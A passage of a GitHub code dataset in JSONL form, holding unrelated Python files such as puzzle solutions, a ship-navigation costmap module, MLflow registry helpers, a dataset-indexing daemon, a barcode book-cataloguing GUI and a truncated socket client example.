'novel_books_info.xlsx')\n # print(res, 'done')\n res = read_booksrc_get_info('masterpiece_books_src.xlsx', 'masterpiece_books_info.xlsx')\n print(res, 'done')","repo_name":"yocichenyx/spider","sub_path":"spider code/spider_bookInfo.py","file_name":"spider_bookInfo.py","file_ext":"py","file_size_in_byte":6696,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"28482117244","text":"# https://leetcode.com/problems/smallest-subtree-with-all-the-deepest-nodes/\n\nclass Solution:\n def subtreeWithAllDeepest(self, root: TreeNode) -> TreeNode:\n def search(node,level):\n nonlocal final\n if not node:\n return 0\n\n if isLeaf(node):\n return level\n\n leftMax = search(node.left, level+1)\n rightMax = search(node.right, level+1)\n maxLevel = max(leftMax, rightMax)\n\n if maxLevel > final[0]:\n if leftMax==0:\n final = (maxLevel,node.right)\n elif rightMax==0:\n final = (maxLevel,node.left)\n else:\n final = (maxLevel,node)\n\n elif leftMax==rightMax and maxLevel>=final[0]:\n final = (maxLevel,node)\n\n return maxLevel\n\n\n final = (0,root)\n isLeaf = lambda node : not node.left and not node.right\n search(root,1)\n\n return final[1]\n","repo_name":"nawrazi/competitive-programming","sub_path":"week_11/smallest-subtree-with-all-deepest-nodes.py","file_name":"smallest-subtree-with-all-deepest-nodes.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41418246729","text":"from functools import cache\n\n\n@cache\ndef a(x):\n if x == 0:\n return 0\n return x + a(x - 1) \n\n\n@cache\ndef b(g):\n return lambda x: g(x) + 0.5\n\n\nf = b(a)\n\n\nfor i in range(1000_000):\n f(i)\nprint('1')\n\nf(1000_007)","repo_name":"MichaelShulga/ttt","sub_path":"u.py","file_name":"u.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19430331809","text":"import logging\nimport os\nimport pickle\nimport random\nfrom typing import List, Tuple, Any, Union\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import patches\nfrom skimage import draw\n\nfrom ship_ice_planner.src.geometry.polygon import *\nfrom ship_ice_planner.src.utils.utils import scale_axis_labels, rotation_matrix\n\n\n# define an arbitrary max cost applied to a cell in the costmap\nMAX_COST = 1e10\n\n\nclass CostMap:\n \"\"\"\n Discretizes the environment into a 2D map and assigns a cost to each grid cell.\n TODO: add the ice resistance term\n TODO: use the ice segmentation information, this should speed up some of the costmap processing\n TODO: use shapely for polygon processing\n \"\"\"\n def __init__(self, scale: float, m: int, n: int, alpha: float = 10,\n ship_mass: float = 1, horizon: int = None, margin: int = 1):\n \"\"\"\n :param scale: the scaling factor for the costmap, divide by scale to get world units\n :param m: the height in world units of the channel\n :param n: the width in world units of the channel\n :param alpha: weight for the collision cost term\n :param ship_mass: mass of the ship in kg\n :param horizon: the horizon ahead of the ship that is considered for computing costs\n :param margin: the number of pixels to apply a max cost to at the boundaries of the channel\n \"\"\"\n self.scale = scale # scales everything by this factor\n self.cost_map = np.zeros((m * scale, n * scale))\n self.alpha = alpha\n self.ship_mass = ship_mass\n self.obstacles = []\n self.horizon = horizon * scale if horizon else None\n self.margin = margin\n\n self.logger = logging.getLogger(__name__)\n\n # apply a cost to the boundaries of the channel\n self.boundary_cost()\n\n @property\n def shape(self):\n return self.cost_map.shape\n\n def boundary_cost(self) -> None:\n if not self.margin:\n return\n self.cost_map[:, :self.margin] = MAX_COST\n self.cost_map[:, -self.margin:] = MAX_COST\n\n def populate_costmap(self, centre, radius, pixels, normalization) -> None:\n rr, cc = pixels\n centre_x, centre_y = centre\n\n for (row, col) in zip(rr, cc):\n dist = np.sqrt((row - centre_y) ** 2 + (col - centre_x) ** 2)\n new_cost = max(0, (radius ** 2 - dist ** 2) / radius ** 2)\n old_cost = self.cost_map[row, col]\n self.cost_map[row, col] = min(MAX_COST, max(new_cost * normalization, old_cost))\n\n # make sure there are no pixels with 0 cost\n assert np.all(self.cost_map[rr, cc] > 0)\n\n def update(self, obstacles: List[Any], ship_pos_y: float = 0, vs=1) -> None:\n \"\"\" Updates the costmap with the new obstacles and ship position and velocity \"\"\"\n # clear costmap and obstacles\n self.cost_map[:] = 0\n self.obstacles = []\n # apply a cost to the boundaries of the channel\n self.boundary_cost()\n\n # update obstacles based on new positions\n for ob in obstacles:\n # scale vertices\n ob = np.asarray(ob) * self.scale\n\n # quickly discard obstacles not part of horizon\n if self.horizon and all([v[1] > (ship_pos_y + self.horizon) or v[1] < ship_pos_y for v in ob]):\n continue\n\n # downsample vertices\n ob = self.resample_vertices(ob, decimals=0)\n\n # get pixel coordinates on costmap that are contained inside obstacle/polygon\n rr, cc = draw.polygon(ob[:, 1], ob[:, 0], shape=self.cost_map.shape)\n\n # skip if 0 area\n if len(rr) == 0 or len(cc) == 0:\n continue\n\n # compute centroid of polygon\n # https://en.wikipedia.org/wiki/Centroid#Of_a_finite_set_of_points\n centre_pos = sum(cc) / len(cc), sum(rr) / len(rr)\n\n # compute the obstacle radius\n r = poly_radius(ob, centre_pos)\n\n # add to list of obstacles if it is feasible\n self.obstacles.append({\n 'vertices': ob,\n 'centre': centre_pos,\n 'radius': r,\n 'pixels': (rr, cc)\n })\n\n if not self.obstacles:\n return\n\n # now run cost function for each obstacle\n for ob in self.obstacles:\n c, r, p = ob['centre'], ob['radius'], ob['pixels']\n\n mi = poly_area(ob['vertices'] / self.scale) # kg\n norm = self.alpha * (vs ** 2 * mi ** 2) / (2 * (self.ship_mass + mi)) # kg m^2 / s^2\n\n # compute the cost and update the costmap\n self.populate_costmap(centre=c, radius=r, pixels=p, normalization=norm)\n\n def plot(self, obstacles: List[Any] = None, ship_pos=None, ship_vertices=None, prim=None, show_closest_ob=False, goal=None):\n f, ax = plt.subplots(figsize=(6, 10))\n # plot the costmap\n cost_map = self.cost_map.copy()\n cost_map[cost_map == np.max(cost_map)] = np.nan # set the max to nan\n im = ax.imshow(cost_map, origin='lower', cmap='plasma')\n\n if obstacles is not None:\n obstacles = [{'vertices': np.asarray(obs) * self.scale} for obs in obstacles]\n else:\n # if no obstacles passed in then just show obs from self\n obstacles = self.obstacles\n\n # plot the polygons\n for obs in obstacles:\n if 'vertices' in obs:\n ax.add_patch(\n patches.Polygon(obs['vertices'], True, fill=False)\n )\n\n if 'centre' in obs:\n # plot the centre of each polygon\n x, y = obs['centre']\n plt.plot(x, y, 'rx', markersize=15)\n\n # plot circle around polygon with computed radius\n p = np.arange(0, 2 * np.pi, 0.01)\n plt.plot(x + obs['radius'] * np.cos(p),\n y + obs['radius'] * np.sin(p), 'c', linewidth=3)\n\n ax.set_title('Costmap unit: {}x{} m'.format(1 / self.scale, 1 / self.scale))\n scale_axis_labels([ax], scale=self.scale)\n # ax.set_xlabel('')\n # ax.set_xticks([])\n # ax.set_ylabel('')\n # ax.set_yticks([])\n f.colorbar(im, ax=ax)\n\n # plot ship if necessary\n if ship_pos is not None:\n assert ship_vertices is not None\n theta = ship_pos[2]\n R = np.asarray([\n [np.cos(theta), -np.sin(theta)],\n [np.sin(theta), np.cos(theta)]\n ])\n ax.add_patch(patches.Polygon(ship_vertices @ R.T + [ship_pos[0], ship_pos[1]], True, fill=True))\n\n # plot the motion primitives if necessary\n if prim is not None:\n ax.set_title('Costmap unit: {}x{} m \\n Lattice unit: {} m, Turning radius: {} l.u.'\n .format(1 / self.scale, 1 / self.scale,\n prim.scale / self.scale,\n prim.turning_radius / prim.scale))\n origin = (0, 0, 0)\n edge_set = prim.edge_set_dict[origin]\n R2 = rotation_matrix(theta)\n for edge in edge_set:\n path = prim.paths[(origin, tuple(edge))]\n x, y, _ = R2 @ path\n ax.plot([i + ship_pos[0] for i in x],\n [j + ship_pos[1] for j in y], 'r', linewidth=0.5)\n\n if show_closest_ob:\n from ship_ice_planner.src.evaluation.metrics import min_obs_dist\n # d, ob = Metrics.obs_dist(CostMap.get_ob_vertices(self.obstacles), ship_pos, ship_vertices)\n # ax.add_patch(patches.Polygon(ob, True, fill=True, fc='r'))\n min_d = min_obs_dist(self.cost_map, ship_pos, ship_vertices)\n\n # debug code to make sure metric works\n new_footprint = np.asarray(\n [[np.sign(a) * (abs(a) + min_d), np.sign(b) * (abs(b) + min_d)] for a, b in ship_vertices]\n )\n ax.add_patch(\n patches.Polygon(new_footprint @ R.T + [ship_pos[0], ship_pos[1]], True, fill=False, ec='w'))\n\n if goal is not None:\n ax.axhline(goal, color='r', linestyle='--')\n\n # f.savefig('costmap.png', dpi=300)\n plt.show()\n\n def save_state_to_disk(self, filename='costmap', costmap_dir='../costmaps') -> None:\n if not os.path.isdir(costmap_dir):\n os.makedirs(costmap_dir)\n if filename:\n fp = os.path.join(costmap_dir, filename + '.pk')\n with open(fp, 'wb') as fd:\n pickle.dump(self, fd)\n self.logger.info(\"Successfully saved costmap object to file path '{}'\".format(fp))\n\n @staticmethod\n def generate_obstacles(\n num_obs: int,\n min_r: int,\n max_r: int,\n min_x: float,\n max_x: float,\n min_y: float,\n max_y: float,\n allow_overlap=False,\n seed=None,\n **kwargs\n ) -> Tuple[List[dict], List[np.ndarray]]:\n\n # list to keep track of generated obs\n obstacles = []\n\n # generate a set of random circles\n _, circles = draw.random_shapes(image_shape=(max_y - min_y, max_x - min_x),\n max_shapes=num_obs, min_shapes=num_obs,\n max_size=max_r * 2, min_size=min_r * 2,\n multichannel=False, shape='circle',\n allow_overlap=allow_overlap, random_seed=seed) # num_trials=100 by defaults\n\n # iterate over each circle and generate a polygon\n for circ in circles:\n # get bounding box coordinates\n r, c = circ[1] # top right and bottom left coords\n radius = abs(r[0] - r[1]) / 2\n centre = (c[0] + radius + min_x, r[0] + radius + min_y)\n\n # now generate polygon given centre and radius\n vertices = generate_polygon(diameter=radius * 2, origin=centre)\n\n if vertices is not None:\n obstacles.append({\n 'vertices': vertices,\n 'centre': centre,\n 'radius': radius,\n })\n\n return obstacles, [ob['vertices'] for ob in obstacles]\n\n @staticmethod\n def get_obs_from_poly(polygons: List):\n return [\n np.asarray(\n [\n v.rotated(-poly.body.angle) + poly.body.position\n for v in poly.get_vertices()\n ]\n )\n for poly in polygons\n ]\n\n @staticmethod\n def resample_vertices(a, decimals=1):\n b = np.round(np.asarray(a), decimals)\n idx = np.unique(b, axis=0, return_index=True)[1]\n return np.asarray(a)[sorted(idx)]\n\n\ndef main():\n # seed for deterministic results\n seed = 1 # None to disable\n np.random.seed(seed)\n random.seed(seed)\n\n # generate obstacles\n obs_dict, obstacles = CostMap.generate_obstacles(\n num_obs=10,\n min_r=3,\n max_r=7,\n min_x=0,\n max_x=20,\n min_y=0,\n max_y=50,\n seed=seed\n )\n\n # initialize costmap\n costmap = CostMap(\n scale=4,\n m=50, n=20,\n )\n\n # update obstacles with costmap\n costmap.update(obstacles)\n\n # plot costmap with a dummy ship\n s = costmap.scale\n ship_pos = (10 * s, 20 * s, np.pi / 3)\n ship_vertices = np.asarray([[-4, 1], [-4, -1], [2, -1], [4, 0], [2, 1]]) * s\n costmap.plot(ship_pos=ship_pos,\n ship_vertices=ship_vertices,\n show_closest_ob=True)\n\n\nif __name__ == \"__main__\":\n # run main to test costmap generation\n main()\n","repo_name":"rdesc/Autonomous-Ship-In-Ice","sub_path":"ship_ice_planner/src/cost_map.py","file_name":"cost_map.py","file_ext":"py","file_size_in_byte":11835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"24482681830","text":"from itertools import product\nfrom collections import defaultdict\n\n\ndef get_neighbor_coords(coords, dim=3):\n return (tuple(coords[i] + diffs[i] for i in range(dim)) for diffs in product((-1, 0, 1), repeat=dim) if any(diffs))\n\n\ndef count_neighbors(cubes, dim=3):\n neighbors = defaultdict(int)\n for coords in cubes:\n for neighbor_coords in get_neighbor_coords(coords, dim=dim):\n neighbors[neighbor_coords] += 1\n return neighbors\n\n\ndef evolve(cubes, neighbor_counts):\n evolved = set()\n coordinates = set(neighbor_counts.keys())\n coordinates.update(cubes)\n for coords in coordinates:\n if coords in cubes and 2 <= neighbor_counts[coords] <= 3: # if cube is active and has 2 or 3 neighbors\n evolved.add(coords)\n elif coords not in cubes and neighbor_counts[coords] == 3: # if cube is inactive and has 3 neighbors\n evolved.add(coords)\n return evolved\n\n\ndef load_cubes(lines, dim=3):\n cubes = set()\n for y, line in enumerate(lines):\n for x, char in enumerate(line):\n if char == '#':\n cubes.add((x, y, *(0,)*(dim-2)))\n return cubes\n\n\nif __name__ == '__main__':\n with open('input.txt') as f:\n lines = [line for line in f.readlines()]\n\n # part 1\n cubes_3d = load_cubes(lines)\n for _ in range(6):\n cubes_3d = evolve(cubes_3d, count_neighbors(cubes_3d))\n print(len(cubes_3d))\n\n # part 2\n cubes_4d = load_cubes(lines, dim=4)\n for _ in range(6):\n cubes_4d = evolve(cubes_4d, count_neighbors(cubes_4d, dim=4))\n print(len(cubes_4d))\n\n # part 3\n cubes_4d = load_cubes(lines, dim=5)\n for _ in range(6):\n cubes_4d = evolve(cubes_4d, count_neighbors(cubes_4d, dim=5))\n print(len(cubes_4d))\n","repo_name":"ttolbol/advent_of_code_2020","sub_path":"day17/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"15140338639","text":"from fractions import gcd\r\n\r\nn,m=map(int,input().split())\r\ns=input()\r\nt=input()\r\nx=gcd(n,m)\r\nl=n*m//gcd(n,m)\r\nfor i in range(x):\r\n if s[i*(n//x)]!=t[i*(m//x)]:\r\n print(-1)\r\n exit()\r\nprint(l)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/agc028/A/4583526.py","file_name":"4583526.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"17373272847","text":"import os\nimport json\nimport importlib\nimport logging\nimport mlflow\n\nfrom mlflow.entities.model_registry import ModelVersion\n\nfrom typing import Any, Dict\n\nlogger = logging.getLogger(__name__)\n\n\ndef check_model_exists(model_name: str) -> bool:\n client = mlflow.MlflowClient()\n if len(client.search_registered_models(f\"name='{model_name}'\")):\n return True\n else:\n logger.warning(f\"There is no registered model with name: {model_name}!\")\n models = client.search_registered_models()\n logger.debug(f\"Existing models: {models}!\")\n return False\n\n\ndef check_model_stage_exist(model_name: str, stage: str) -> bool:\n client = mlflow.MlflowClient()\n if check_model_exists(model_name=model_name):\n if len(client.get_latest_versions(name=model_name, stages=[stage])):\n return True\n else:\n logger.warning(f\"There is no model on stage: {stage}!\")\n return False\n\n\ndef get_meta(model_name: str, stage: str) -> ModelVersion:\n client = mlflow.MlflowClient()\n if check_model_stage_exist(model_name=model_name, stage=stage):\n return client.get_latest_versions(name=model_name, stages=[stage])[0]\n else:\n err_msg = f\"There is no model on stage: {stage}!\"\n raise mlflow.MlflowException(message=err_msg)\n\n\ndef _get_model_loader(run_id: str) -> str:\n run = mlflow.get_run(run_id=run_id)\n run_data = json.loads(run.data.tags[\"mlflow.log-model.history\"])[0]\n loader_module = run_data[\"flavors\"][\"python_function\"][\"loader_module\"]\n return loader_module\n\n\ndef get_model(model_name: str, stage: str) -> Any:\n version_meta = get_meta(model_name=model_name, stage=stage)\n run_id = version_meta.run_id\n model_uri = version_meta.source\n\n loader_module = _get_model_loader(run_id=run_id)\n mlflow_loader = importlib.import_module(loader_module)\n model = mlflow_loader.load_model(model_uri)\n\n return model\n\n\ndef get_input_example(model_name: str, stage: str) -> Dict[str, Any]:\n version_meta = get_meta(model_name=model_name, stage=stage)\n run_id = version_meta.run_id\n path_artifacts = version_meta.source\n\n run = mlflow.get_run(run_id=run_id)\n run_data = json.loads(run.data.tags[\"mlflow.log-model.history\"])[0]\n example_info = run_data.get(\"saved_input_example_info\", None)\n if example_info is not None:\n file_name = example_info['artifact_path']\n example = mlflow.artifacts.load_dict(os.path.join(path_artifacts, file_name))\n example_type = example_info[\"type\"]\n if example_type == \"dataframe\":\n columns = example[\"columns\"]\n data = example[\"data\"][0]\n example_json = {}\n for i, col in enumerate(columns):\n # workaround for pydantic model bug\n val = data[i] + 0.1 if isinstance(data[i], float) else data[i]\n example_json[col] = val\n return example_json\n else:\n err_msg = \"Example type: {example_type}, handling is not implemented\"\n raise ValueError(err_msg)\n else:\n raise mlflow.MlflowException(\"Data example is not provided\")\n\n\ndef get_requirements_path(model_uri: str) -> str:\n return mlflow.pyfunc.get_model_dependencies(model_uri)\n","repo_name":"nkhusainov/zenml_template","sub_path":"project/utils/model_registry/mlflow_client.py","file_name":"mlflow_client.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34755329150","text":"import json\nimport logging\nfrom traceback import format_exc\n\nfrom sm.engine.daemons.actions import DaemonAction, DaemonActionStage\nfrom sm.engine.daemons.dataset_manager import DatasetManager\nfrom sm.engine.dataset import DatasetStatus\nfrom sm.engine.errors import UnknownDSID, SMError, IndexUpdateError\n\n\nclass SMUpdateDaemon:\n \"\"\"Reads messages from the update queue and does indexing/update/delete\"\"\"\n\n logger = logging.getLogger('update-daemon')\n\n def __init__(self, manager: DatasetManager, make_update_queue_cons):\n self._manager = manager\n self._update_queue_cons = make_update_queue_cons(\n callback=self._callback, on_success=self._on_success, on_failure=self._on_failure\n )\n self._stopped = False\n\n def _on_success(self, msg):\n self.logger.info(' SM update daemon: success')\n\n if msg['action'] == DaemonAction.DELETE:\n self._manager.notify_update(\n msg['ds_id'], action=DaemonAction.DELETE, stage=DaemonActionStage.FINISHED\n )\n else:\n ds = self._manager.load_ds(msg['ds_id'])\n if msg['action'] == DaemonAction.INDEX:\n self._manager.set_ds_status(ds, DatasetStatus.FINISHED)\n self._manager.notify_update(ds.id, msg['action'], DaemonActionStage.FINISHED)\n\n if msg['action'] in [DaemonAction.UPDATE, DaemonAction.INDEX]:\n msg['web_app_link'] = self._manager.create_web_app_link(msg)\n\n if msg['action'] == DaemonAction.DELETE:\n self._manager.post_to_slack(\n 'dart', f' [v] Succeeded to {msg[\"action\"]}: {json.dumps(msg)}'\n )\n\n if msg.get('email'):\n self._manager.send_success_email(msg)\n\n def _on_failure(self, msg, e):\n self._manager.ds_failure_handler(msg, e)\n\n if 'email' in msg:\n self._manager.send_failed_email(msg)\n\n def _callback(self, msg):\n try:\n self.logger.info(f' SM update daemon received a message: {msg}')\n\n ds = self._manager.load_ds(msg['ds_id'])\n self._manager.notify_update(ds.id, msg['action'], DaemonActionStage.STARTED)\n\n if msg['action'] == DaemonAction.INDEX:\n self._manager.index(ds=ds)\n\n elif msg['action'] == DaemonAction.CLASSIFY_OFF_SAMPLE:\n try:\n # depending on number of annotations may take up to several minutes\n self._manager.classify_dataset_images(ds)\n except Exception as e: # don't fail dataset when off-sample pred fails\n self.logger.warning(f'Failed to classify off-sample: {e}')\n\n try:\n self._manager.index(ds=ds)\n except UnknownDSID:\n # Sometimes the DS will have been deleted before this point\n self.logger.warning(f'DS missing after off-sample classification: {ds.id}')\n\n elif msg['action'] == DaemonAction.UPDATE:\n self._manager.update(ds, msg['fields'])\n elif msg['action'] == DaemonAction.DELETE:\n self._manager.delete(ds=ds)\n else:\n raise SMError(f'Wrong action: {msg[\"action\"]}')\n except Exception as e:\n raise IndexUpdateError(msg['ds_id'], traceback=format_exc(chain=False)) from e\n\n def start(self):\n self._stopped = False\n self._update_queue_cons.start()\n\n def stop(self):\n if not self._stopped:\n self._update_queue_cons.stop()\n self._update_queue_cons.join()\n self._stopped = True\n\n def join(self):\n if not self._stopped:\n self._update_queue_cons.join()\n","repo_name":"metaspace2020/metaspace","sub_path":"metaspace/engine/sm/engine/daemons/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":3710,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"72"} +{"seq_id":"34619096792","text":"\"\"\"Definitions for entire project go here\"\"\"\n\n# Tab Ids\nTABS = {\n 'issues':1,\n 'features':2,\n}\n\n# Filter codes that also act as the status of issues and features.\n# Note: putting some space between issues and features as we may need\n# to add more filters and in the code at some point I am doing:\n# if blah < features_all\nFILTERS = {\n 'issues_all':0,\n 'issues_reported':1,\n 'issues_ongoing':2,\n 'issues_closed':3,\n 'issues_mine':4,\n 'features_all':10,\n 'features_requested':11,\n 'features_accepted':12, # UA has accepted feature and awaits payment from requester\n 'features_working':13, # Requester has paid\n 'features_declined':14,\n 'features_finished':15,\n 'features_mine':16,\n}\n\n# An alternative to captcha. Dictionary of questions. One will be chosen at random\n# when a user registers.\nNO_BOTS = {\n '1 and 1 and 1':'3',\n '1 and 2 and 1':'4',\n '1 and 1 and 2':'4',\n '2 and 2 and 2':'6',\n '2 and 2 and 1':'5',\n '2 and 1 and 1':'4',\n '3 and 3 and 3':'9',\n '3 and 2 and 1':'6',\n '3 and 3 and 2':'8',\n '1 and 1 and 3':'5',\n '2 and 3 and 2':'7',\n '5 and 2 and 1':'8',\n '1 and 0 and 0':'1',\n '0 and 0 and 0':'0',\n '5 and 4 and 0':'9',\n '4 and 1 and 1':'6',\n}\n\n# Currency and values\nDEFAULT_CURRENCY = 'GBP'\nMIN_BID = 10\nMAX_BID = 5000\n","repo_name":"mrbrown2207/ms_iv_ua","sub_path":"home/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42489921027","text":"\"\"\" Exemplo\ncontar('banana')\n{'a': 3 , 'b' = 1, 'n' = 2}\n\n\"\"\"\n# def contar_caracter(s):\n \n# caracter_ordenados = sorted(s)\n# caracter_anterior = caracter_ordenados[0]\n# contagem = 1\n# resultado = {} # Diferença da lista, adicionado resultado = {}\n\n# for caracter in caracter_ordenados[1:]:\n# if caracter == caracter_anterior:\n# contagem += 1\n# else:\n# resultado [caracter_anterior] = contagem # Diferença da lista, retirado o print (f'{caracter_anterior} : {contagem}')\n# caracter_anterior = caracter\n# contagem = 1\n# resultado [caracter_anterior] = contagem # Diferença da lista, retirado o print (f'{caracter_anterior} : {contagem}')\n# return resultado # Diferença da listqa, adicionado o return\n\n# if __name__ == \"__main__\":\n# print(contar_caracter('banana'))\n\n# -------------Incrementando direto no dicionário ----------\n\ndef contar_caracter(s):\n \n resultado = {} # Diferença da lista, adicionado resultado = {}\n\n for caracter in s:\n # contagem = resultado.get(caracter, 0 ) # Função .get (valor chave, valor default (caso o chave não exister retorna o default))\n # contagem += 1\n # resultado [caracter] = contagem\n resultado[caracter] = resultado.get (caracter, 0) + 1 # Sem utilizar a variavel auxiliar \"contagem\"\n return resultado # Diferença da lista, adicionado o return\n\nif __name__ == \"__main__\":\n print(contar_caracter(sorted('banana')))","repo_name":"gnfranco92/Pyhton-Estudos","sub_path":"contagem_decaraceres_dic.py","file_name":"contagem_decaraceres_dic.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38591099769","text":"import urllib.request\nimport json\nimport textwrap\nimport tkinter as tk\nfrom tkinter import *\nfrom tkinter import ttk\nimport cv2\nfrom pyzbar import pyzbar\n\nbooks = []\nseperator = \"/s\"\n\ndef bookLookUp(isbn):\n base_api_link = \"https://www.googleapis.com/books/v1/volumes?q=isbn:\"\n\n with urllib.request.urlopen(base_api_link + isbn) as f:\n text = f.read()\n\n decoded_text = text.decode(\"utf-8\")\n obj = json.loads(decoded_text)\n volume_info = obj[\"items\"][0]\n \n try:\n title = volume_info[\"volumeInfo\"][\"title\"]\n except:\n title = \"unknown\"\n try:\n summary = textwrap.fill(volume_info[\"searchInfo\"][\"textSnippet\"], width=65)\n except:\n summary = \"unknown\"\n try:\n authors = obj[\"items\"][0][\"volumeInfo\"][\"authors\"]\n authors = \",\".join(authors)\n except:\n authors = \"unknown\"\n try:\n pages = volume_info[\"volumeInfo\"][\"pageCount\"]\n except:\n pages = \"unknown\"\n try:\n language = volume_info[\"volumeInfo\"][\"language\"]\n except:\n language = \"unknown\"\n \n book = {\n \"isbn\": isbn,\n \"title\": title,\n \"summary\": summary,\n \"author\": authors,\n \"pageCount\": pages,\n \"language\": language\n }\n return(book)\n\ndef read_barcodes(frame):\n barcodes = pyzbar.decode(frame)\n barcodeInfos = []\n for barcode in barcodes:\n x, y , w, h = barcode.rect\n barcodeInfo = barcode.data.decode('utf-8')\n cv2.rectangle(frame, (x, y),(x+w, y+h), (0, 255, 0), 2)\n \n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, barcodeInfo, (x + 6, y - 6), font, 2.0, (255, 255, 255), 1)\n barcodeInfos.append(barcodeInfo)\n return frame, barcodeInfos\n\ndef barcodeUI():\n camera = cv2.VideoCapture(0)\n ret, frame = camera.read()\n while ret:\n ret, frame = camera.read()\n frame, barcodes = read_barcodes(frame)\n if (len(barcodes) >= 1):\n camera.release()\n cv2.destroyAllWindows()\n return barcodes[0]\n cv2.imshow('Barcode/QR code reader', frame)\n if cv2.waitKey(1) & 0xFF == 27:\n break\n camera.release()\n cv2.destroyAllWindows()\n \nclass mainUI( Frame ):\n def __init__( self ):\n \n tk.Frame.__init__(self)\n self.pack()\n self.master.title(\"LibraryUI\")\n \n ttk.Style().configure('Treeview', rowheight=50)\n \n self.treeView = ttk.Treeview(self)\n self.treeView['columns']=('isbn', 'title', 'summary', 'author', 'pageCount', 'language')\n self.treeView.grid( row = 0, column = 1, columnspan = 2, sticky = W+E+N+S )\n \n self.treeView.column('#0', width=0, stretch=NO)\n self.treeView.column('isbn', anchor=CENTER, width=80)\n self.treeView.column('title', anchor=CENTER, width=200)\n self.treeView.column('summary', anchor=CENTER, width=450)\n self.treeView.column('author', anchor=CENTER, width=80)\n self.treeView.column('pageCount', anchor=CENTER, width=60)\n self.treeView.column('language', anchor=CENTER, width=80)\n \n self.treeView.heading('#0', text='', anchor=CENTER)\n self.treeView.heading('isbn', text='ISBN', anchor=CENTER)\n self.treeView.heading('title', text='Title', anchor=CENTER)\n self.treeView.heading('summary', text='Summary', anchor=CENTER)\n self.treeView.heading('author', text='Author', anchor=CENTER)\n self.treeView.heading('pageCount', text='Pages', anchor=CENTER)\n self.treeView.heading('language', text='Language', anchor=CENTER)\n \n self.loadList()\n \n self.button1 = Button( self, text = \"Scan Book\", width = 25, command = self.captureBarcode )\n self.button1.grid( row = 1, column = 1, columnspan = 2, sticky = W+E+N+S )\n \n self.button2 = Button( self, text = \"Delete Item\", width = 25, command = self.deleteItem )\n self.button2.grid( row = 2, column = 1, columnspan = 2, sticky = W+E+N+S )\n \n self.button2 = Button( self, text = \"Save List\", width = 25, command = self.saveList )\n self.button2.grid( row = 3, column = 1, columnspan = 2, sticky = W+E+N+S )\n \n def captureBarcode(self):\n addBook = True\n bookToAdd = bookLookUp(barcodeUI())\n for book in books:\n if (book[\"isbn\"] == bookToAdd[\"isbn\"]):\n addBook = False\n if(addBook):\n books.append(bookToAdd)\n self.printBookList()\n \n def printBookList(self):\n for item in self.treeView.get_children():\n self.treeView.delete(item)\n for i in range(len(books)):\n self.treeView.insert(parent='', index=i, iid=i, text='', values=(books[i]['isbn'],\n books[i]['title'],\n books[i]['summary'],\n books[i]['author'],\n books[i]['pageCount'],\n books[i]['language']))\n \n \n def deleteItem(self):\n books.pop(int(self.treeView.focus()))\n self.printBookList()\n \n def saveList(self):\n file = open(\"SavedValues.txt\", \"w\")\n lines = \"\"\n for i in books:\n line = i['isbn'] + seperator + i['title'] + seperator + i['summary'] + seperator + i['author'] + seperator + str(i['pageCount']) + seperator + i['language']\n #print([line])\n line = line.replace(\"\\n\", \"/n\")\n #print([line])\n line += \"\\n\"\n lines += line\n file.write(lines)\n file.close()\n \n def loadList(self):\n file = open(\"SavedValues.txt\", \"r\")\n lines = file.readlines()\n #print(lines)\n for line in lines:\n line = line.replace(\"/n\", \"\\n\")\n line = line.split(seperator)\n book = {\n \"isbn\": line[0],\n \"title\": line[1],\n \"summary\": line[2],\n \"author\": line[3],\n \"pageCount\": line[4],\n \"language\": line[5]\n }\n books.append(book)\n file.close()\n self.printBookList()\n \ndef main(): \n mainUI().mainloop()\n \nif __name__ == '__main__':\n main()","repo_name":"Bullet-Not-Proof/SIT210-Project-Code","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":6510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15646276522","text":"import sys\nimport socket\nimport argparse\n\ndef Server():\n\n args_parser = argparse.ArgumentParser(description='Socket Error Examples')\n\n args_parser.add_argument('--host',action=\"store\",dest=\"host\",required=False)\n args_parser.add_argument('--port',action=\"store\",dest=\"port\",type=int,required=False)\n args_parser.add_argument('--file',action=\"store\",dest=\"file\",required=False)\n\n args=args_parser.parse_args()\n host = args.host\n port = args.port\n filename = args.file\n\n try:\n socket_server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n except socket.error as e:\n print(\"error creatin the socket {} \".format(e))\n sys.exit(1)\n\n try:\n socket_server.connect((host,port))\n except socket.gaierror as e:\n print(\" can't connect to server : {}\".format(e))\n sys.exit(1)\n except socket.error as e:\n print(\"connection error {} \" .format(e))\n sys.exit(1)\n\n try:\n socket_server.sendall(\"GET %s HTTP/1.1\\r\\n\\r\\n\" % filename).encode(\"utf-8\")\n except socket.error as e:\n print(\"error sending data {}\".format(e))\n sys.exit(1)\n\n while(True):\n try:\n recv_buffer = socket_server.recv(2048)\n except socket.error as e:\n print(\"error reciving data {} 